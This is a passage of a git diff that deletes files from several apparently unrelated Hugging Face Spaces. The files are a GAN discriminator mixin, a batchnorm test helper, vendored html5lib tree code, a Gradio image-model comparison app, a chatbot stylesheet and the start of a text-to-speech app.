-        return out_feat_tuples[0][0], [f for _, flist in out_feat_tuples for f in flist]
-
-
-class DiscriminatorMultiToSingleOutputStackedMixin:
-    def __init__(self, *args, return_feats_only_levels=None, **kwargs):
-        super().__init__(*args, **kwargs)
-        self.return_feats_only_levels = return_feats_only_levels
-
-    def forward(self, x):
-        out_feat_tuples = super().forward(x)
-        outs = [out for out, _ in out_feat_tuples]
-        scaled_outs = [outs[0]] + [F.interpolate(cur_out, size=outs[0].shape[-2:],
-                                                 mode='bilinear', align_corners=False)
-                                   for cur_out in outs[1:]]
-        out = torch.cat(scaled_outs, dim=1)
-        if self.return_feats_only_levels is not None:
-            feat_lists = [out_feat_tuples[i][1] for i in self.return_feats_only_levels]
-        else:
-            feat_lists = [flist for _, flist in out_feat_tuples]
-        feats = [f for flist in feat_lists for f in flist]
-        return out, feats
-
-
-class MultiscaleDiscrSingleInput(SingleToMultiScaleInputMixin, DiscriminatorMultiToSingleOutputStackedMixin, MultiscaleDiscriminatorSimple):
-    pass
-
-
-class MultiscaleResNetSingle(GeneratorMultiToSingleOutputMixin, SingleToMultiScaleInputMixin, MultiscaleResNet):
-    pass
diff --git a/spaces/alan-chen-intel/dagan-demo/sync_batchnorm/unittest.py b/spaces/alan-chen-intel/dagan-demo/sync_batchnorm/unittest.py
deleted file mode 100644
index 0675c022e4ba85d38d1f813490f6740150909524..0000000000000000000000000000000000000000
--- a/spaces/alan-chen-intel/dagan-demo/sync_batchnorm/unittest.py
+++ /dev/null
@@ -1,29 +0,0 @@
-# -*- coding: utf-8 -*-
-# File   : unittest.py
-# Author : Jiayuan Mao
-# Email  : maojiayuan@gmail.com
-# Date   : 27/01/2018
-# 
-# This file is part of Synchronized-BatchNorm-PyTorch.
-# https://github.com/vacancy/Synchronized-BatchNorm-PyTorch
-# Distributed under MIT License.
-
-import unittest
-
-import numpy as np
-from torch.autograd import Variable
-
-
-def as_numpy(v):
-    if isinstance(v, Variable):
-        v = v.data
-    return v.cpu().numpy()
-
-
-class TorchTestCase(unittest.TestCase):
-    def assertTensorClose(self, a, b, atol=1e-3, rtol=1e-3):
-        npa, npb = as_numpy(a), as_numpy(b)
-        self.assertTrue(
-                np.allclose(npa, npb, atol=atol),
-                'Tensor close check failed\n{}\n{}\nadiff={}, rdiff={}'.format(a, b, np.abs(npa - npb).max(), np.abs((npa - npb) / np.fmax(npa, 1e-5)).max())
-        )
diff --git a/spaces/alexray/btc_predictor/venv/lib/python3.10/site-packages/pip/_vendor/html5lib/treebuilders/base.py b/spaces/alexray/btc_predictor/venv/lib/python3.10/site-packages/pip/_vendor/html5lib/treebuilders/base.py
deleted file mode 100644
index 965fce29d3b9e01e9e9374a3d6318badeca7e1e1..0000000000000000000000000000000000000000
--- a/spaces/alexray/btc_predictor/venv/lib/python3.10/site-packages/pip/_vendor/html5lib/treebuilders/base.py
+++ /dev/null
@@ -1,417 +0,0 @@
-from __future__ import absolute_import, division, unicode_literals
-from pip._vendor.six import text_type
-
-from ..constants import scopingElements, tableInsertModeElements, namespaces
-
-# The scope markers are inserted when entering object elements,
-# marquees, table cells, and table captions, and are used to prevent formatting
-# from "leaking" into tables, object elements, and marquees.
-Marker = None
-
-listElementsMap = {
-    None: (frozenset(scopingElements), False),
-    "button": (frozenset(scopingElements | {(namespaces["html"], "button")}), False),
-    "list": (frozenset(scopingElements | {(namespaces["html"], "ol"),
-                                          (namespaces["html"], "ul")}), False),
-    "table": (frozenset([(namespaces["html"], "html"),
-                         (namespaces["html"], "table")]), False),
-    "select": (frozenset([(namespaces["html"], "optgroup"),
-                          (namespaces["html"], "option")]), True)
-}
-
-
-class Node(object):
-    """Represents an item in the tree"""
-    def __init__(self, name):
-        """Creates a Node
-
-        :arg name: The tag name associated with the node
-
-        """
-        # The tag name associated with the node
-        self.name = name
-        # The parent of the current node (or None for the document node)
-        self.parent = None
-        # The value of the current node (applies to text nodes and comments)
-        self.value = None
-        # A dict holding name -> value pairs for attributes of the node
-        self.attributes = {}
-        # A list of child nodes of the current node. This must include all
-        # elements but not necessarily other node types.
-        self.childNodes = []
-        # A list of miscellaneous flags that can be set on the node.
-        self._flags = []
-
-    def __str__(self):
-        attributesStr = " ".join(["%s=\"%s\"" % (name, value)
-                                  for name, value in
-                                  self.attributes.items()])
-        if attributesStr:
-            return "<%s %s>" % (self.name, attributesStr)
-        else:
-            return "<%s>" % (self.name)
-
-    def __repr__(self):
-        return "<%s>" % (self.name)
-
-    def appendChild(self, node):
-        """Insert node as a child of the current node
-
-        :arg node: the node to insert
-
-        """
-        raise NotImplementedError
-
-    def insertText(self, data, insertBefore=None):
-        """Insert data as text in the current node, positioned before the
-        start of node insertBefore or to the end of the node's text.
-
-        :arg data: the data to insert
-
-        :arg insertBefore: True if you want to insert the text before the node
-            and False if you want to insert it after the node
-
-        """
-        raise NotImplementedError
-
-    def insertBefore(self, node, refNode):
-        """Insert node as a child of the current node, before refNode in the
-        list of child nodes. Raises ValueError if refNode is not a child of
-        the current node
-
-        :arg node: the node to insert
-
-        :arg refNode: the child node to insert the node before
-
-        """
-        raise NotImplementedError
-
-    def removeChild(self, node):
-        """Remove node from the children of the current node
-
-        :arg node: the child node to remove
-
-        """
-        raise NotImplementedError
-
-    def reparentChildren(self, newParent):
-        """Move all the children of the current node to newParent.
-        This is needed so that trees that don't store text as nodes move the
-        text in the correct way
-
-        :arg newParent: the node to move all this node's children to
-
-        """
-        # XXX - should this method be made more general?
-        for child in self.childNodes:
-            newParent.appendChild(child)
-        self.childNodes = []
-
-    def cloneNode(self):
-        """Return a shallow copy of the current node i.e. a node with the same
-        name and attributes but with no parent or child nodes
-        """
-        raise NotImplementedError
-
-    def hasContent(self):
-        """Return true if the node has children or text, false otherwise
-        """
-        raise NotImplementedError
-
-
-class ActiveFormattingElements(list):
-    def append(self, node):
-        equalCount = 0
-        if node != Marker:
-            for element in self[::-1]:
-                if element == Marker:
-                    break
-                if self.nodesEqual(element, node):
-                    equalCount += 1
-                if equalCount == 3:
-                    self.remove(element)
-                    break
-        list.append(self, node)
-
-    def nodesEqual(self, node1, node2):
-        if not node1.nameTuple == node2.nameTuple:
-            return False
-
-        if not node1.attributes == node2.attributes:
-            return False
-
-        return True
-
-
-class TreeBuilder(object):
-    """Base treebuilder implementation
-
-    * documentClass - the class to use for the bottommost node of a document
-    * elementClass - the class to use for HTML Elements
-    * commentClass - the class to use for comments
-    * doctypeClass - the class to use for doctypes
-
-    """
-    # pylint:disable=not-callable
-
-    # Document class
-    documentClass = None
-
-    # The class to use for creating a node
-    elementClass = None
-
-    # The class to use for creating comments
-    commentClass = None
-
-    # The class to use for creating doctypes
-    doctypeClass = None
-
-    # Fragment class
-    fragmentClass = None
-
-    def __init__(self, namespaceHTMLElements):
-        """Create a TreeBuilder
-
-        :arg namespaceHTMLElements: whether or not to namespace HTML elements
-
-        """
-        if namespaceHTMLElements:
-            self.defaultNamespace = "http://www.w3.org/1999/xhtml"
-        else:
-            self.defaultNamespace = None
-        self.reset()
-
-    def reset(self):
-        self.openElements = []
-        self.activeFormattingElements = ActiveFormattingElements()
-
-        # XXX - rename these to headElement, formElement
-        self.headPointer = None
-        self.formPointer = None
-
-        self.insertFromTable = False
-
-        self.document = self.documentClass()
-
-    def elementInScope(self, target, variant=None):
-
-        # If we pass a node in we match that. if we pass a string
-        # match any node with that name
-        exactNode = hasattr(target, "nameTuple")
-        if not exactNode:
-            if isinstance(target, text_type):
-                target = (namespaces["html"], target)
-            assert isinstance(target, tuple)
-
-        listElements, invert = listElementsMap[variant]
-
-        for node in reversed(self.openElements):
-            if exactNode and node == target:
-                return True
-            elif not exactNode and node.nameTuple == target:
-                return True
-            elif (invert ^ (node.nameTuple in listElements)):
-                return False
-
-        assert False  # We should never reach this point
-
-    def reconstructActiveFormattingElements(self):
-        # Within this algorithm the order of steps described in the
-        # specification is not quite the same as the order of steps in the
-        # code. It should still do the same though.
-
-        # Step 1: stop the algorithm when there's nothing to do.
-        if not self.activeFormattingElements:
-            return
-
-        # Step 2 and step 3: we start with the last element. So i is -1.
-        i = len(self.activeFormattingElements) - 1
-        entry = self.activeFormattingElements[i]
-        if entry == Marker or entry in self.openElements:
-            return
-
-        # Step 6
-        while entry != Marker and entry not in self.openElements:
-            if i == 0:
-                # This will be reset to 0 below
-                i = -1
-                break
-            i -= 1
-            # Step 5: let entry be one earlier in the list.
-            entry = self.activeFormattingElements[i]
-
-        while True:
-            # Step 7
-            i += 1
-
-            # Step 8
-            entry = self.activeFormattingElements[i]
-            clone = entry.cloneNode()  # Mainly to get a new copy of the attributes
-
-            # Step 9
-            element = self.insertElement({"type": "StartTag",
-                                          "name": clone.name,
-                                          "namespace": clone.namespace,
-                                          "data": clone.attributes})
-
-            # Step 10
-            self.activeFormattingElements[i] = element
-
-            # Step 11
-            if element == self.activeFormattingElements[-1]:
-                break
-
-    def clearActiveFormattingElements(self):
-        entry = self.activeFormattingElements.pop()
-        while self.activeFormattingElements and entry != Marker:
-            entry = self.activeFormattingElements.pop()
-
-    def elementInActiveFormattingElements(self, name):
-        """Check if an element exists between the end of the active
-        formatting elements and the last marker. If it does, return it, else
-        return false"""
-
-        for item in self.activeFormattingElements[::-1]:
-            # Check for Marker first because if it's a Marker it doesn't have a
-            # name attribute.
-            if item == Marker:
-                break
-            elif item.name == name:
-                return item
-        return False
-
-    def insertRoot(self, token):
-        element = self.createElement(token)
-        self.openElements.append(element)
-        self.document.appendChild(element)
-
-    def insertDoctype(self, token):
-        name = token["name"]
-        publicId = token["publicId"]
-        systemId = token["systemId"]
-
-        doctype = self.doctypeClass(name, publicId, systemId)
-        self.document.appendChild(doctype)
-
-    def insertComment(self, token, parent=None):
-        if parent is None:
-            parent = self.openElements[-1]
-        parent.appendChild(self.commentClass(token["data"]))
-
-    def createElement(self, token):
-        """Create an element but don't insert it anywhere"""
-        name = token["name"]
-        namespace = token.get("namespace", self.defaultNamespace)
-        element = self.elementClass(name, namespace)
-        element.attributes = token["data"]
-        return element
-
-    def _getInsertFromTable(self):
-        return self._insertFromTable
-
-    def _setInsertFromTable(self, value):
-        """Switch the function used to insert an element from the
-        normal one to the misnested table one and back again"""
-        self._insertFromTable = value
-        if value:
-            self.insertElement = self.insertElementTable
-        else:
-            self.insertElement = self.insertElementNormal
-
-    insertFromTable = property(_getInsertFromTable, _setInsertFromTable)
-
-    def insertElementNormal(self, token):
-        name = token["name"]
-        assert isinstance(name, text_type), "Element %s not unicode" % name
-        namespace = token.get("namespace", self.defaultNamespace)
-        element = self.elementClass(name, namespace)
-        element.attributes = token["data"]
-        self.openElements[-1].appendChild(element)
-        self.openElements.append(element)
-        return element
-
-    def insertElementTable(self, token):
-        """Create an element and insert it into the tree"""
-        element = self.createElement(token)
-        if self.openElements[-1].name not in tableInsertModeElements:
-            return self.insertElementNormal(token)
-        else:
-            # We should be in the InTable mode. This means we want to do
-            # special magic element rearranging
-            parent, insertBefore = self.getTableMisnestedNodePosition()
-            if insertBefore is None:
-                parent.appendChild(element)
-            else:
-                parent.insertBefore(element, insertBefore)
-            self.openElements.append(element)
-        return element
-
-    def insertText(self, data, parent=None):
-        """Insert text data."""
-        if parent is None:
-            parent = self.openElements[-1]
-
-        if (not self.insertFromTable or (self.insertFromTable and
-                                         self.openElements[-1].name
-                                         not in tableInsertModeElements)):
-            parent.insertText(data)
-        else:
-            # We should be in the InTable mode. This means we want to do
-            # special magic element rearranging
-            parent, insertBefore = self.getTableMisnestedNodePosition()
-            parent.insertText(data, insertBefore)
-
-    def getTableMisnestedNodePosition(self):
-        """Get the foster parent element, and sibling to insert before
-        (or None) when inserting a misnested table node"""
-        # The foster parent element is the one which comes before the most
-        # recently opened table element
-        # XXX - this is really inelegant
-        lastTable = None
-        fosterParent = None
-        insertBefore = None
-        for elm in self.openElements[::-1]:
-            if elm.name == "table":
-                lastTable = elm
-                break
-        if lastTable:
-            # XXX - we should really check that this parent is actually a
-            # node here
-            if lastTable.parent:
-                fosterParent = lastTable.parent
-                insertBefore = lastTable
-            else:
-                fosterParent = self.openElements[
-                    self.openElements.index(lastTable) - 1]
-        else:
-            fosterParent = self.openElements[0]
-        return fosterParent, insertBefore
-
-    def generateImpliedEndTags(self, exclude=None):
-        name = self.openElements[-1].name
-        # XXX td, th and tr are not actually needed
-        if (name in frozenset(("dd", "dt", "li", "option", "optgroup", "p", "rp", "rt")) and
-                name != exclude):
-            self.openElements.pop()
-            # XXX This is not entirely what the specification says. We should
-            # investigate it more closely.
-            self.generateImpliedEndTags(exclude)
-
-    def getDocument(self):
-        """Return the final tree"""
-        return self.document
-
-    def getFragment(self):
-        """Return the final fragment"""
-        # assert self.innerHTML
-        fragment = self.fragmentClass()
-        self.openElements[0].reparentChildren(fragment)
-        return fragment
-
-    def testSerializer(self, node):
-        """Serialize the subtree of node in the format required by unit tests
-
-        :arg node: the node from which to start serializing
-
-        """
-        raise NotImplementedError
diff --git a/spaces/alexray/btc_predictor/venv/lib/python3.10/site-packages/pip/_vendor/html5lib/treewalkers/etree_lxml.py b/spaces/alexray/btc_predictor/venv/lib/python3.10/site-packages/pip/_vendor/html5lib/treewalkers/etree_lxml.py
deleted file mode 100644
index c56af390fe250c1048036375fff340db5d2807a8..0000000000000000000000000000000000000000
--- a/spaces/alexray/btc_predictor/venv/lib/python3.10/site-packages/pip/_vendor/html5lib/treewalkers/etree_lxml.py
+++ /dev/null
@@ -1,215 +0,0 @@
-from __future__ import absolute_import, division, unicode_literals
-from pip._vendor.six import text_type
-
-from collections import OrderedDict
-
-from lxml import etree
-from ..treebuilders.etree import tag_regexp
-
-from . import base
-
-from .. import _ihatexml
-
-
-def ensure_str(s):
-    if s is None:
-        return None
-    elif isinstance(s, text_type):
-        return s
-    else:
-        return s.decode("ascii", "strict")
-
-
-class Root(object):
-    def __init__(self, et):
-        self.elementtree = et
-        self.children = []
-
-        try:
-            if et.docinfo.internalDTD:
-                self.children.append(Doctype(self,
-                                             ensure_str(et.docinfo.root_name),
-                                             ensure_str(et.docinfo.public_id),
-                                             ensure_str(et.docinfo.system_url)))
-        except AttributeError:
-            pass
-
-        try:
-            node = et.getroot()
-        except AttributeError:
-            node = et
-
-        while node.getprevious() is not None:
-            node = node.getprevious()
-        while node is not None:
-            self.children.append(node)
-            node = node.getnext()
-
-        self.text = None
-        self.tail = None
-
-    def __getitem__(self, key):
-        return self.children[key]
-
-    def getnext(self):
-        return None
-
-    def __len__(self):
-        return 1
-
-
-class Doctype(object):
-    def __init__(self, root_node, name, public_id, system_id):
-        self.root_node = root_node
-        self.name = name
-        self.public_id = public_id
-        self.system_id = system_id
-
-        self.text = None
-        self.tail = None
-
-    def getnext(self):
-        return self.root_node.children[1]
-
-
-class FragmentRoot(Root):
-    def __init__(self, children):
-        self.children = [FragmentWrapper(self, child) for child in children]
-        self.text = self.tail = None
-
-    def getnext(self):
-        return None
-
-
-class FragmentWrapper(object):
-    def __init__(self, fragment_root, obj):
-        self.root_node = fragment_root
-        self.obj = obj
-        if hasattr(self.obj, 'text'):
-            self.text = ensure_str(self.obj.text)
-        else:
-            self.text = None
-        if hasattr(self.obj, 'tail'):
-            self.tail = ensure_str(self.obj.tail)
-        else:
-            self.tail = None
-
-    def __getattr__(self, name):
-        return getattr(self.obj, name)
-
-    def getnext(self):
-        siblings = self.root_node.children
-        idx = siblings.index(self)
-        if idx < len(siblings) - 1:
-            return siblings[idx + 1]
-        else:
-            return None
-
-    def __getitem__(self, key):
-        return self.obj[key]
-
-    def __bool__(self):
-        return bool(self.obj)
-
-    def getparent(self):
-        return None
-
-    def __str__(self):
-        return str(self.obj)
-
-    def __unicode__(self):
-        return str(self.obj)
-
-    def __len__(self):
-        return len(self.obj)
-
-
-class TreeWalker(base.NonRecursiveTreeWalker):
-    def __init__(self, tree):
-        # pylint:disable=redefined-variable-type
-        if isinstance(tree, list):
-            self.fragmentChildren = set(tree)
-            tree = FragmentRoot(tree)
-        else:
-            self.fragmentChildren = set()
-            tree = Root(tree)
-        base.NonRecursiveTreeWalker.__init__(self, tree)
-        self.filter = _ihatexml.InfosetFilter()
-
-    def getNodeDetails(self, node):
-        if isinstance(node, tuple):  # Text node
-            node, key = node
-            assert key in ("text", "tail"), "Text nodes are text or tail, found %s" % key
-            return base.TEXT, ensure_str(getattr(node, key))
-
-        elif isinstance(node, Root):
-            return (base.DOCUMENT,)
-
-        elif isinstance(node, Doctype):
-            return base.DOCTYPE, node.name, node.public_id, node.system_id
-
-        elif isinstance(node, FragmentWrapper) and not hasattr(node, "tag"):
-            return base.TEXT, ensure_str(node.obj)
-
-        elif node.tag == etree.Comment:
-            return base.COMMENT, ensure_str(node.text)
-
-        elif node.tag == etree.Entity:
-            return base.ENTITY, ensure_str(node.text)[1:-1]  # strip &;
-
-        else:
-            # This is assumed to be an ordinary element
-            match = tag_regexp.match(ensure_str(node.tag))
-            if match:
-                namespace, tag = match.groups()
-            else:
-                namespace = None
-                tag = ensure_str(node.tag)
-            attrs = OrderedDict()
-            for name, value in list(node.attrib.items()):
-                name = ensure_str(name)
-                value = ensure_str(value)
-                match = tag_regexp.match(name)
-                if match:
-                    attrs[(match.group(1), match.group(2))] = value
-                else:
-                    attrs[(None, name)] = value
-            return (base.ELEMENT, namespace, self.filter.fromXmlName(tag),
-                    attrs, len(node) > 0 or node.text)
-
-    def getFirstChild(self, node):
-        assert not isinstance(node, tuple), "Text nodes have no children"
-
-        assert len(node) or node.text, "Node has no children"
-        if node.text:
-            return (node, "text")
-        else:
-            return node[0]
-
-    def getNextSibling(self, node):
-        if isinstance(node, tuple):  # Text node
-            node, key = node
-            assert key in ("text", "tail"), "Text nodes are text or tail, found %s" % key
-            if key == "text":
-                # XXX: we cannot use a "bool(node) and node[0] or None" construct here
-                # because node[0] might evaluate to False if it has no child element
-                if len(node):
-                    return node[0]
-                else:
-                    return None
-            else:  # tail
-                return node.getnext()
-
-        return (node, "tail") if node.tail else node.getnext()
-
-    def getParentNode(self, node):
-        if isinstance(node, tuple):  # Text node
-            node, key = node
-            assert key in ("text", "tail"), "Text nodes are text or tail, found %s" % key
-            if key == "text":
-                return node
-            # else: fallback to "normal" processing
-        elif node in self.fragmentChildren:
-            return None
-
-        return node.getparent()
diff --git a/spaces/allknowingroger/Image-Models-Test147/app.py b/spaces/allknowingroger/Image-Models-Test147/app.py
deleted file mode 100644
index 156221e09c41fe6c6a0f22432d9e089450bbf9a5..0000000000000000000000000000000000000000
--- a/spaces/allknowingroger/Image-Models-Test147/app.py
+++ /dev/null
@@ -1,144 +0,0 @@
-import gradio as gr
-# import os
-# import sys
-# from pathlib import Path
-import time
-
-models =[
-    "Yntec/Trending",
-    "grisha2000/mamosita-animated",
-    "Jjateen/my-1st-generative-model-bright-butterflies",
-    "AVIIAX/Areal",
-    "Yntec/aMovieTrend",
-    "hardikpanchariya/sks-hardik",
-    "saiteja05/pet-dogs-kst",
-    "digiplay/MeinaMix_v7",
-    "AneeshPB/my-pet-cat",
-]
-
-
-model_functions = {}
-model_idx = 1
-for model_path in models:
-    try:
-        model_functions[model_idx] = gr.Interface.load(f"models/{model_path}", live=False, preprocess=True, postprocess=False)
-    except Exception as error:
-        def the_fn(txt):
-            return None
-        model_functions[model_idx] = gr.Interface(fn=the_fn, inputs=["text"], outputs=["image"])
-    model_idx+=1
-
-
-def send_it_idx(idx):
-    def send_it_fn(prompt):
-        output = (model_functions.get(str(idx)) or model_functions.get(str(1)))(prompt)
-        return output
-    return send_it_fn
-
-def get_prompts(prompt_text):
-    return prompt_text
-
-def clear_it(val):
-    if int(val) != 0:
-        val = 0
-    else:
-        val = 0
-        pass
-    return val
-
-def all_task_end(cnt,t_stamp):
-    to = t_stamp + 60
-    et = time.time()
-    if et > to and t_stamp != 0:
-        d = gr.update(value=0)
-        tog = gr.update(value=1)
-        #print(f'to: {to}  et: {et}')
-    else:
-        if cnt != 0:
-            d = gr.update(value=et)
-        else:
-            d = gr.update(value=0)
-        tog = gr.update(value=0)
-        #print (f'passing:  to: {to}  et: {et}')
-        pass
-    return d, tog
-
-def all_task_start():
-    print("\n\n\n\n\n\n\n")
-    t = time.gmtime()
-    t_stamp = time.time()
-    current_time = time.strftime("%H:%M:%S", t)
-    return gr.update(value=t_stamp), gr.update(value=t_stamp), gr.update(value=0)
-
-def clear_fn():
-    nn = len(models)
-    return tuple([None, *[None for _ in range(nn)]])
-
-
-
-with gr.Blocks(title="SD Models") as my_interface:
-    with gr.Column(scale=12):
-        # with gr.Row():
-        #     gr.Markdown("""- Primary prompt: 你想画的内容(英文单词，如 a cat, 加英文逗号效果更好；点 Improve 按钮进行完善)\n- Real prompt: 完善后的提示词，出现后再点右边的 Run 按钮开始运行""")
-        with gr.Row():
-            with gr.Row(scale=6):
-                primary_prompt=gr.Textbox(label="Prompt", value="")
-                # real_prompt=gr.Textbox(label="Real prompt")
-            with gr.Row(scale=6):
-                # improve_prompts_btn=gr.Button("Improve")
-                with gr.Row():
-                    run=gr.Button("Run",variant="primary")
-                    clear_btn=gr.Button("Clear")
-        with gr.Row():
-            sd_outputs = {}
-            model_idx = 1
-            for model_path in models:
-                with gr.Column(scale=3, min_width=320):
-                    with gr.Box():
-                        sd_outputs[model_idx] = gr.Image(label=model_path)
-                    pass
-                model_idx += 1
-                pass
-            pass
-
-        with gr.Row(visible=False):
-            start_box=gr.Number(interactive=False)
-            end_box=gr.Number(interactive=False)
-            tog_box=gr.Textbox(value=0,interactive=False)
-
-        start_box.change(
-            all_task_end,
-            [start_box, end_box],
-            [start_box, tog_box],
-            every=1,
-            show_progress=False)
-
-        primary_prompt.submit(all_task_start, None, [start_box, end_box, tog_box])
-        run.click(all_task_start, None, [start_box, end_box, tog_box])
-        runs_dict = {}
-        model_idx = 1
-        for model_path in models:
-            runs_dict[model_idx] = run.click(model_functions[model_idx], inputs=[primary_prompt], outputs=[sd_outputs[model_idx]])
-            model_idx += 1
-            pass
-        pass
-
-        # improve_prompts_btn_clicked=improve_prompts_btn.click(
-        #     get_prompts,
-        #     inputs=[primary_prompt],
-        #     outputs=[primary_prompt],
-        #     cancels=list(runs_dict.values()))
-        clear_btn.click(
-            clear_fn,
-            None,
-            [primary_prompt, *list(sd_outputs.values())],
-            cancels=[*list(runs_dict.values())])
-        tog_box.change(
-            clear_it,
-            tog_box,
-            tog_box,
-            cancels=[*list(runs_dict.values())])
-
-my_interface.queue(concurrency_count=600, status_update_rate=1)
-my_interface.launch(inline=True, show_api=False)
- 
\ No newline at end of file
diff --git a/spaces/annchen2010/ChatGPT/custom.css b/spaces/annchen2010/ChatGPT/custom.css
deleted file mode 100644
index 97a1c2e681f4cc09e2237a92b37ab6cadd545a71..0000000000000000000000000000000000000000
--- a/spaces/annchen2010/ChatGPT/custom.css
+++ /dev/null
@@ -1,184 +0,0 @@
-:root {
-    --chatbot-color-light: #F3F3F3;
-    --chatbot-color-dark: #121111;
-}
-
-/* status_display */
-#status_display {
-    display: flex;
-    min-height: 2.5em;
-    align-items: flex-end;
-    justify-content: flex-end;
-}
-#status_display p {
-    font-size: .85em;
-    font-family: monospace;
-    color: var(--body-text-color-subdued);
-}
-
-#chuanhu_chatbot, #status_display {
-    transition: all 0.6s;
-}
-
-ol, ul {
-    list-style-position: inside;
-    padding-left: 0;
-}
-
-ol li, ul:not(.options) li {
-    padding-left: 1.5em;
-    text-indent: -1.5em;
-}
-
-/* 亮色 */
-@media (prefers-color-scheme: light) {
-    #chuanhu_chatbot {
-        background-color: var(--chatbot-color-light) !important;
-    }
-    [data-testid = "bot"] {
-        background-color: #FFFFFF !important;
-    }
-    [data-testid = "user"] {
-        background-color: #95EC69 !important;
-    }
-}
-/* 暗色 */
-@media (prefers-color-scheme: dark) {
-    #chuanhu_chatbot {
-        background-color: var(--chatbot-color-dark) !important;
-    }
-    [data-testid = "bot"] {
-        background-color: #2C2C2C !important;
-    }
-    [data-testid = "user"] {
-        background-color: #26B561 !important;
-    }
-    body {
-        background-color: var(--neutral-950) !important;
-    }
-}
-
-/* 对话气泡 */
-[class *= "message"] {
-    border-radius: var(--radius-xl) !important;
-    border: none;
-    padding: var(--spacing-xl) !important;
-    font-size: var(--text-md) !important;
-    line-height: var(--line-md) !important;
-}
-[data-testid = "bot"] {
-    max-width: 85%;
-    border-bottom-left-radius: 0 !important;
-}
-[data-testid = "user"] {
-    max-width: 85%;
-    width: auto !important;
-    border-bottom-right-radius: 0 !important;
-}
-/* 表格 */
-table {
-    margin: 1em 0;
-    border-collapse: collapse;
-    empty-cells: show;
-}
-td,th {
-    border: 1.2px solid var(--border-color-primary) !important;
-    padding: 0.2em;
-}
-thead {
-    background-color: rgba(175,184,193,0.2);
-}
-thead th {
-    padding: .5em .2em;
-}
-/* 行内代码 */
-code {
-    display: inline;
-    white-space: break-spaces;
-    border-radius: 6px;
-    margin: 0 2px 0 2px;
-    padding: .2em .4em .1em .4em;
-    background-color: rgba(175,184,193,0.2);
-}
-/* 代码块 */
-pre code {
-    display: block;
-    overflow: auto;
-    white-space: pre;
-    background-color: hsla(0, 0%, 0%, 80%)!important;
-    border-radius: 10px;
-    padding: 1rem 1.2rem 1rem;
-    margin: 1.2em 2em 1.2em 0.5em;
-    color: #FFF;
-    box-shadow: 6px 6px 16px hsla(0, 0%, 0%, 0.2);
-}
-/* 代码高亮样式 */
-.highlight .hll { background-color: #49483e }
-.highlight .c { color: #75715e } /* Comment */
-.highlight .err { color: #960050; background-color: #1e0010 } /* Error */
-.highlight .k { color: #66d9ef } /* Keyword */
-.highlight .l { color: #ae81ff } /* Literal */
-.highlight .n { color: #f8f8f2 } /* Name */
-.highlight .o { color: #f92672 } /* Operator */
-.highlight .p { color: #f8f8f2 } /* Punctuation */
-.highlight .ch { color: #75715e } /* Comment.Hashbang */
-.highlight .cm { color: #75715e } /* Comment.Multiline */
-.highlight .cp { color: #75715e } /* Comment.Preproc */
-.highlight .cpf { color: #75715e } /* Comment.PreprocFile */
-.highlight .c1 { color: #75715e } /* Comment.Single */
-.highlight .cs { color: #75715e } /* Comment.Special */
-.highlight .gd { color: #f92672 } /* Generic.Deleted */
-.highlight .ge { font-style: italic } /* Generic.Emph */
-.highlight .gi { color: #a6e22e } /* Generic.Inserted */
-.highlight .gs { font-weight: bold } /* Generic.Strong */
-.highlight .gu { color: #75715e } /* Generic.Subheading */
-.highlight .kc { color: #66d9ef } /* Keyword.Constant */
-.highlight .kd { color: #66d9ef } /* Keyword.Declaration */
-.highlight .kn { color: #f92672 } /* Keyword.Namespace */
-.highlight .kp { color: #66d9ef } /* Keyword.Pseudo */
-.highlight .kr { color: #66d9ef } /* Keyword.Reserved */
-.highlight .kt { color: #66d9ef } /* Keyword.Type */
-.highlight .ld { color: #e6db74 } /* Literal.Date */
-.highlight .m { color: #ae81ff } /* Literal.Number */
-.highlight .s { color: #e6db74 } /* Literal.String */
-.highlight .na { color: #a6e22e } /* Name.Attribute */
-.highlight .nb { color: #f8f8f2 } /* Name.Builtin */
-.highlight .nc { color: #a6e22e } /* Name.Class */
-.highlight .no { color: #66d9ef } /* Name.Constant */
-.highlight .nd { color: #a6e22e } /* Name.Decorator */
-.highlight .ni { color: #f8f8f2 } /* Name.Entity */
-.highlight .ne { color: #a6e22e } /* Name.Exception */
-.highlight .nf { color: #a6e22e } /* Name.Function */
-.highlight .nl { color: #f8f8f2 } /* Name.Label */
-.highlight .nn { color: #f8f8f2 } /* Name.Namespace */
-.highlight .nx { color: #a6e22e } /* Name.Other */
-.highlight .py { color: #f8f8f2 } /* Name.Property */
-.highlight .nt { color: #f92672 } /* Name.Tag */
-.highlight .nv { color: #f8f8f2 } /* Name.Variable */
-.highlight .ow { color: #f92672 } /* Operator.Word */
-.highlight .w { color: #f8f8f2 } /* Text.Whitespace */
-.highlight .mb { color: #ae81ff } /* Literal.Number.Bin */
-.highlight .mf { color: #ae81ff } /* Literal.Number.Float */
-.highlight .mh { color: #ae81ff } /* Literal.Number.Hex */
-.highlight .mi { color: #ae81ff } /* Literal.Number.Integer */
-.highlight .mo { color: #ae81ff } /* Literal.Number.Oct */
-.highlight .sa { color: #e6db74 } /* Literal.String.Affix */
-.highlight .sb { color: #e6db74 } /* Literal.String.Backtick */
-.highlight .sc { color: #e6db74 } /* Literal.String.Char */
-.highlight .dl { color: #e6db74 } /* Literal.String.Delimiter */
-.highlight .sd { color: #e6db74 } /* Literal.String.Doc */
-.highlight .s2 { color: #e6db74 } /* Literal.String.Double */
-.highlight .se { color: #ae81ff } /* Literal.String.Escape */
-.highlight .sh { color: #e6db74 } /* Literal.String.Heredoc */
-.highlight .si { color: #e6db74 } /* Literal.String.Interpol */
-.highlight .sx { color: #e6db74 } /* Literal.String.Other */
-.highlight .sr { color: #e6db74 } /* Literal.String.Regex */
-.highlight .s1 { color: #e6db74 } /* Literal.String.Single */
-.highlight .ss { color: #e6db74 } /* Literal.String.Symbol */
-.highlight .bp { color: #f8f8f2 } /* Name.Builtin.Pseudo */
-.highlight .fm { color: #a6e22e } /* Name.Function.Magic */
-.highlight .vc { color: #f8f8f2 } /* Name.Variable.Class */
-.highlight .vg { color: #f8f8f2 } /* Name.Variable.Global */
-.highlight .vi { color: #f8f8f2 } /* Name.Variable.Instance */
-.highlight .vm { color: #f8f8f2 } /* Name.Variable.Magic */
-.highlight .il { color: #ae81ff } /* Literal.Number.Integer.Long */
diff --git a/spaces/anzorq/vits-kbd-male/app.py b/spaces/anzorq/vits-kbd-male/app.py
deleted file mode 100644
index 9c6b047bbd3f679881878f0e19ab5b5e9c463370..0000000000000000000000000000000000000000
--- a/spaces/anzorq/vits-kbd-male/app.py
+++ /dev/null
@@ -1,64 +0,0 @@
-import os
-from TTS.utils.download import download_url
-from TTS.utils.synthesizer import Synthesizer
-import gradio as gr
-import tempfile
-
